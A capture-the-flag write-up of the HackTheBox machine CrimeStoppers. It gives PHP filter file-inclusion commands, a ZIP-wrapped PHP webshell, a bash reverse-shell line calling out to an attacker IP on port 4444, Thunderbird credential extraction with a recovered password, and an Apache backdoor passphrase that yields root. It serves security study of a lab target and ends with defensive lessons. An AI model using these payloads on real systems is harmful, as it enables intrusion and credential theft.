HTB: CrimeStoppers Writeup

CrimeStoppers - HackTheBox Writeup

Machine Information

AttributeDetails
NameCrimeStoppers
OSLinux
DifficultyHard
PointsN/A
Release DateN/A
IP Address10.10.10.80
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

CrimeStoppers is a challenging Linux box that emphasizes creative exploitation techniques and anti-automation defenses. The initial foothold requires exploiting PHP filter/wrapper mechanisms to achieve source code disclosure, followed by leveraging PHP’s ZIP wrapper to execute code through a binary-encoded upload. User access involves extracting credentials from a Thunderbird profile and pivoting through IPv6 SSH. Root access is obtained by reverse engineering a backdoored Apache module that implements a custom XOR authentication scheme. This machine rewards deep understanding of PHP internals, binary analysis, and creative thinking over automated scanning.

TL;DR: PHP filter LFI → Source disclosure → ZIP wrapper RCE via binary upload → Thunderbird credential extraction → IPv6 SSH pivot → Apache module reverse engineering → XOR backdoor exploitation → root shell


Reconnaissance

Port Scanning

Terminal window
# Initial TCP scan
nmap -sC -sV -T4 -p- 10.10.10.80

Results:

PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.25 (Debian)

Only port 80 was open on IPv4. The web server returned minimal information, suggesting a deliberately restricted attack surface designed to prevent automated enumeration.

Service Enumeration

Web Server (Port 80):

Browsing to http://10.10.10.80 presented a “crime tips” submission portal. Key observations:

  • Simple form for submitting anonymous tips
  • Cookie named admin set to 0 (plaintext, no signing)
  • URL parameter ?op= appeared to control file inclusion
  • Most PHP files returned blank pages when accessed directly

Setting admin=1 revealed additional functionality and hints about the server’s behavior but wasn’t strictly necessary for exploitation.

Directory Discovery:

Manual enumeration revealed several PHP files:

  • index.php - Main entry point
  • common.php - Shared functions
  • upload.php - File upload handler
  • list.php - Tip listing (admin only)
  • view.php - Tip viewer

Vulnerability Assessment

  1. Local File Inclusion (LFI) - The ?op= parameter includes PHP files without proper sanitization
  2. PHP Filter/Wrapper Abuse - PHP streams can be leveraged for source code disclosure
  3. Unrestricted File Upload - Tips are stored without proper validation
  4. Information Disclosure - Application behavior leaks file paths and upload names

Initial Foothold

Phase 1: Source Code Disclosure via PHP Filters

PHP’s filter wrappers allow converting included files to base64, bypassing PHP execution and revealing source code:

Terminal window
# Disclose index.php source
curl 'http://10.10.10.80/?op=php://filter/convert.base64-encode/resource=index'

The base64 output can be decoded to reveal the PHP source:

Terminal window
# Decode the base64 response
echo "PD9waHANCi8vIFtCYXNlNjQgb3V0cHV0XQ==" | base64 -d

Why this works: PHP’s include() function processes PHP filter streams before execution. The convert.base64-encode filter transforms the file content to base64 before PHP’s parser sees it, preventing code execution and revealing raw source.

Repeating this process for common.php, upload.php, list.php, and view.php revealed:

  • Upload path disclosure: Files are stored in uploads/<CLIENT_IP>/<SHA1_HASH>
  • Hash algorithm: Uploaded tips are renamed using sha1() of their content (called “secretname”)
  • No extension validation: Files are stored without extensions
  • ZIP processing hints: Code references handling compressed submissions

Phase 2: Crafting a Malicious ZIP Upload

The attack vector combines three PHP features:

  1. ZIP wrapper: zip://path/to/file.zip#internal_file.php allows including files inside ZIP archives
  2. Binary upload: Raw ZIP bytes can be submitted as “tip” content
  3. Predictable naming: SHA1 hash allows locating the uploaded file

Creating the malicious ZIP:

Terminal window
# Create a simple PHP webshell
cat > writeup.php << 'EOF'
<?php
system($_GET['cmd']);
?>
EOF
# Package it into a ZIP file
zip payload.zip writeup.php
# Extract the raw binary data
cat payload.zip

Submitting via intercepted HTTP request:

POST /upload.php HTTP/1.1
Host: 10.10.10.80
Content-Type: application/x-www-form-urlencoded
Content-Length: [LENGTH]
Cookie: admin=0
tip=PK[...raw ZIP bytes...]&name=Anonymous&tel=5551234567&msg=Test

Why this works: PHP’s upload handler accepts any POST data for the tip parameter, including binary data. The file is written to disk as-is, creating a valid ZIP file without a .zip extension. The server returns a 302 redirect that leaks the SHA1 hash in the Location header.

Phase 3: Remote Code Execution

After submission, the 302 redirect revealed the secretname (SHA1 hash):

Location: /view.php?op=view&secretname=9dfc0e1200ee90d2a380c2fcd2ff036754be27b4

Triggering code execution:

Terminal window
# Use ZIP wrapper to include writeup.php from within the uploaded "tip"
curl 'http://10.10.10.80/?op=zip://uploads/10.10.15.180/9dfc0e1200ee90d2a380c2fcd2ff036754be27b4%23writeup&cmd=id'

Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Why this works: The ?op= parameter includes the provided path. The ZIP wrapper (zip://) tells PHP to open the file as a ZIP archive and extract the specified internal file (#writeup refers to writeup.php). The extracted PHP code is then included and executed, with $_GET['cmd'] passing our command to system().

Establishing Better Access

Terminal window
# Stage a reverse shell payload
curl 'http://10.10.10.80/?op=zip://uploads/10.10.15.180/[HASH]%23writeup&cmd=bash+-c+"bash+-i+>%26+/dev/tcp/10.10.15.180/4444+0>%261"'
# Listener
nc -lvnp 4444

Received shell as www-data.


Privilege Escalation

Phase 1: Lateral Movement to Dom

Enumeration as www-data:

Terminal window
# Check home directories
ls -la /home
# drwxr-xr-x 4 dom dom 4096 [date] dom
# User flag is world-readable
cat /home/dom/user.txt
# <redacted>

Thunderbird Profile Discovery:

/home/dom/.thunderbird/36jinndk.default
# Locate Thunderbird data
find /home/dom -name "*.default" 2>/dev/null
# Check for password databases
ls -la /home/dom/.thunderbird/36jinndk.default/
# -rw-r--r-- 1 dom dom 1234 [date] key3.db
# -rw-r--r-- 1 dom dom 5678 [date] logins.json

Both credential files were world-readable—a critical misconfiguration.

Exfiltrating Thunderbird Credentials:

Terminal window
# Working directory (full /tmp prevented large file operations)
cd /dev/shm
# Exfiltrate key database
base64 /home/dom/.thunderbird/36jinndk.default/key3.db > key3.b64
cat key3.b64
# [Copy output]
# Exfiltrate login JSON
base64 /home/dom/.thunderbird/36jinndk.default/logins.json > logins.b64
cat logins.b64
# [Copy output]

Local decryption (attacker machine):

Terminal window
# Reconstruct files
echo "[base64_output]" | base64 -d > key3.db
echo "[base64_output]" | base64 -d > logins.json
# Create minimal profile structure
mkdir -p firefox_profile
mv key3.db logins.json firefox_profile/
# Use firefox_decrypt tool
git clone https://github.com/unode/firefox_decrypt.git
cd firefox_decrypt
python3 firefox_decrypt.py ../firefox_profile

Output:

Website: https://mail.example.com
Username: 'dom'
Password: 'Gummer59'

Why this works: Thunderbird stores credentials in an encrypted format using NSS (Network Security Services). The key3.db file contains the master encryption key (often with no password protection by default), while logins.json contains the encrypted credentials. The firefox_decrypt tool uses Mozilla’s NSS library to decrypt these credentials when no master password is set.

Phase 2: IPv6 SSH Pivot

Network enumeration:

Terminal window
# Check listening services
ss -tulnp
# tcp6 LISTEN 0 128 :::22 :::*

SSH was bound to IPv6 only—IPv4 connections were filtered.

Obtaining the IPv6 address:

Terminal window
ip addr show dev ens33
# inet6 dead:beef::a0de:adff:fe75:e36f/64 scope global

SSH connection:

Terminal window
# Connect via IPv6
ssh dom@dead:beef::a0de:adff:fe75:e36f
# Password: Gummer59

Successfully authenticated as dom.

Phase 3: Root via Apache Module Backdoor

Reconnaissance as dom:

/etc/apache2/mods-enabled/rootme.load
# Check for unusual files
find /etc/apache2 -type f 2>/dev/null
# /etc/apache2/mods-available/mod_rootme.so
ls -la /etc/apache2/mods-available/mod_rootme.so
# -rw-r----- 1 root apache 8536 [date] /etc/apache2/mods-available/mod_rootme.so

Dom was a member of the apache group, granting read access to the suspicious module.

Exfiltrating the module:

Terminal window
# Base64 encode for transfer
base64 /etc/apache2/mods-available/mod_rootme.so
# [Copy output to local machine]

Binary analysis (local machine):

Terminal window
# Reconstruct the binary
echo "[base64_output]" | base64 -d > mod_rootme.so
# Check for interesting functions
nm -D mod_rootme.so | grep -i dark
# 00001234 T darkarmy
# Disassemble the darkarmy function
objdump -d mod_rootme.so -M intel | grep -A 50 "<darkarmy>"

Key findings from reverse engineering:

  1. The module listens on port 80 (standard Apache)
  2. Function darkarmy() implements backdoor authentication
  3. XOR operation: HackTheBox0e140d383b0b0c271b01 = passphrase
  4. Banner string: rootme-0.5 DarkArmy Edition Ready

Computing the XOR key:

#!/usr/bin/env python3
# XOR key from binary analysis
hex_key = bytes.fromhex('0e140d383b0b0c271b01')
plaintext = b'HackTheBox'
# XOR operation
result = ''.join(chr(hex_key[i] ^ plaintext[i]) for i in range(len(plaintext)))
print(f"Backdoor passphrase: {result}")

Output:

Backdoor passphrase: FunSociety

Why this works: Apache modules can register custom handlers for HTTP requests. This backdoored module intercepts specific requests and checks for a passphrase. The XOR obfuscation is a common technique to hide strings from casual strings analysis—the actual passphrase is computed at runtime by XORing the embedded key with HackTheBox.

Exploiting the backdoor:

Terminal window
# Connect to Apache and send the magic passphrase
nc 10.10.10.80 80
GET FunSociety

Response:

rootme-0.5 DarkArmy Edition Ready
id
uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
<redacted>

The backdoor responded with a root shell.


Attack Chain Summary

PHP Filter LFI (source disclosure)
→ Binary ZIP upload via tip submission
→ ZIP wrapper RCE (www-data shell)
→ World-readable Thunderbird credentials (dom:Gummer59)
→ IPv6 SSH pivot (dom user)
→ Group-readable Apache module extraction
→ XOR backdoor reverse engineering (passphrase: FunSociety)
→ Apache backdoor exploitation
→ Root shell

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
curlHTTP requests and parameter manipulation
base64Encoding/decoding file transfers
firefox_decryptExtracting credentials from Thunderbird/Firefox profiles
objdumpDisassembling the Apache module
nmListing symbols in the shared object
python3XOR computation and scripting
ncReverse shells and backdoor exploitation
sshIPv6 authentication as dom

Key Learnings

Techniques Practiced

  • PHP filter/wrapper exploitation - Using php://filter/convert.base64-encode to bypass execution and disclose source code
  • PHP ZIP wrapper abuse - Including files from within ZIP archives via zip:// protocol
  • Binary data injection - Submitting raw ZIP bytes through web forms to create valid archives server-side
  • Thunderbird forensics - Extracting and decrypting credentials from NSS databases (key3.db, logins.json)
  • IPv6 network pivoting - Identifying and connecting to services bound only to IPv6 addresses
  • Apache module reverse engineering - Analyzing custom .so modules to identify backdoor logic
  • XOR deobfuscation - Reversing simple XOR encryption to recover hardcoded passphrases

Lessons Learned

  1. PHP wrappers are powerful attack primitives - The combination of filters and wrappers (php://, zip://, data://) enables attacks far beyond simple file inclusion. Always sanitize user input that flows into include(), require(), or file_get_contents().

  2. File permissions matter at every level - World-readable credential stores (Thunderbird profile) and group-readable binaries (Apache module) both led to privilege escalation. Apply the principle of least privilege rigorously.

  3. Binary uploads bypass many validation schemes - Checking file extensions or MIME types is insufficient when raw POST data can create valid file structures (ZIP, archives, executables). Validate content thoroughly and consider rejecting binary data entirely.

  4. IPv6 is often overlooked in hardening - SSH being filtered on IPv4 but open on IPv6 represents a common misconfiguration. Always enumerate both IPv4 and IPv6 when assessing network services.

  5. Custom backdoors require reverse engineering skills - Automated tools won’t find a custom Apache module backdoor. Understanding assembly, calling conventions, and common obfuscation techniques (XOR, base64) is essential for advanced exploitation.

  6. Default Thunderbird security is weak - Without a master password, Thunderbird credentials are easily recoverable by anyone with filesystem access. Always enable master password protection for credential stores.

  7. SHA1 predictability enables exploitation - Using sha1() of content as a “secret” filename provides only pseudonymity—attackers who control the input can predict the output. Use cryptographically random identifiers with sufficient entropy.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References